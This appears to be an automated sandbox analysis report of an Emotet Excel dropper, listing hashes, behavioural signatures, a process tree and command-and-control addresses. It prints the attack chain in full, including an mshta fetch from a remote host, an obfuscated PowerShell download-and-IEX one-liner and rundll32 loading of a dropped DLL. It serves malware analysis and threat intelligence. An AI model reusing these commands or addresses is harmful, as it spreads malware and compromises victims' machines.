emotet | 3cbc3b6b4051b7ce3558b3fe8e91f7c6d8c879aa2d2f66a8c813d58dc5a1db2e

Analysis

max time kernel
121s
max time network
154s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 15:49

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General

Target
tmpv897xcsa.xls
Size 154KB
Sample220127-s9ctkafbfl
SHA256 3cbc3b6b4051b7ce3558b3fe8e91f7c6d8c879aa2d2f66a8c813d58dc5a1db2e
MD5 069c5dd48fe29b4a2d071a5c158a92e5
SHA1 aa3cbd46d86d83bedff31f0068cad02079cab580
SHA512 2c8b244cdb032b1e49edff81e060bfd2787854a46b9c13046441189fae14f0612678c1c7e4ec9aa282f4a28aec733bc264ceffab3eef0c24e63c806bafff3cdb
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1892	2368	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
28	520	mshta.exe
29	2152	powershell.exe
31	2152	powershell.exe
32	2152	powershell.exe
42	3060	rundll32.exe
44	3060	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3664	rundll32.exe
888	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Eeqsrdcwwot\wlvbvjaysqmvxtt.edt	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3796	520	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2368	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2152	powershell.exe
2152	powershell.exe
2152	powershell.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3796	WerFault.exe
3060	rundll32.exe
3060	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	3796	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 1892	2368	EXCEL.EXE	70
PID 2368 wrote to memory of 1892	2368	EXCEL.EXE	70
PID 1892 wrote to memory of 520	1892	cmd.exe	72
PID 1892 wrote to memory of 520	1892	cmd.exe	72
PID 520 wrote to memory of 2152	520	mshta.exe	75
PID 520 wrote to memory of 2152	520	mshta.exe	75
PID 2152 wrote to memory of 1048	2152	powershell.exe	78
PID 2152 wrote to memory of 1048	2152	powershell.exe	78
PID 1048 wrote to memory of 3664	1048	cmd.exe	79
PID 1048 wrote to memory of 3664	1048	cmd.exe	79
PID 1048 wrote to memory of 3664	1048	cmd.exe	79
PID 3664 wrote to memory of 888	3664	rundll32.exe	80
PID 3664 wrote to memory of 888	3664	rundll32.exe	80
PID 3664 wrote to memory of 888	3664	rundll32.exe	80
PID 888 wrote to memory of 2128	888	rundll32.exe	81
PID 888 wrote to memory of 2128	888	rundll32.exe	81
PID 888 wrote to memory of 2128	888	rundll32.exe	81
PID 2128 wrote to memory of 3060	2128	rundll32.exe	82
PID 2128 wrote to memory of 3060	2128	rundll32.exe	82
PID 2128 wrote to memory of 3060	2128	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpv897xcsa.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qqqw/aaas/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2152
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1048
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3664
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:888
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eeqsrdcwwot\wlvbvjaysqmvxtt.edt",DEEIcU
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2128
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Eeqsrdcwwot\wlvbvjaysqmvxtt.edt",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3060
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 520 -s 1812
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3796

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/888-334-0x0000000004A40000-0x0000000004A67000-memory.dmp

Download

memory/888-336-0x0000000004C00000-0x0000000004C27000-memory.dmp

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memory/888-332-0x00000000049E0000-0x0000000004A07000-memory.dmp

Download

memory/888-330-0x0000000004980000-0x00000000049A7000-memory.dmp

Download

memory/888-328-0x00000000048A0000-0x00000000048C7000-memory.dmp

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memory/888-325-0x0000000001060000-0x0000000001087000-memory.dmp

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memory/888-323-0x0000000000E80000-0x0000000000EA7000-memory.dmp

Download

memory/2128-337-0x00000000033A0000-0x00000000033C7000-memory.dmp

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memory/2152-293-0x0000022271E30000-0x0000022271E6C000-memory.dmp

Download

memory/2152-309-0x0000022271820000-0x0000022271822000-memory.dmp

Download

memory/2152-311-0x0000022271826000-0x0000022271828000-memory.dmp

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memory/2152-310-0x0000022271823000-0x0000022271825000-memory.dmp

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memory/2152-274-0x0000022271830000-0x0000022271852000-memory.dmp

Download

memory/2152-304-0x0000022271EF0000-0x0000022271F66000-memory.dmp

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memory/2368-117-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/2368-116-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/2368-129-0x00007FF9E4750000-0x00007FF9E4760000-memory.dmp

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memory/2368-128-0x00007FF9E4750000-0x00007FF9E4760000-memory.dmp

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memory/2368-115-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/2368-121-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/2368-118-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/2368-380-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/2368-381-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/2368-382-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/2368-383-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

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memory/3060-339-0x0000000003220000-0x0000000003247000-memory.dmp

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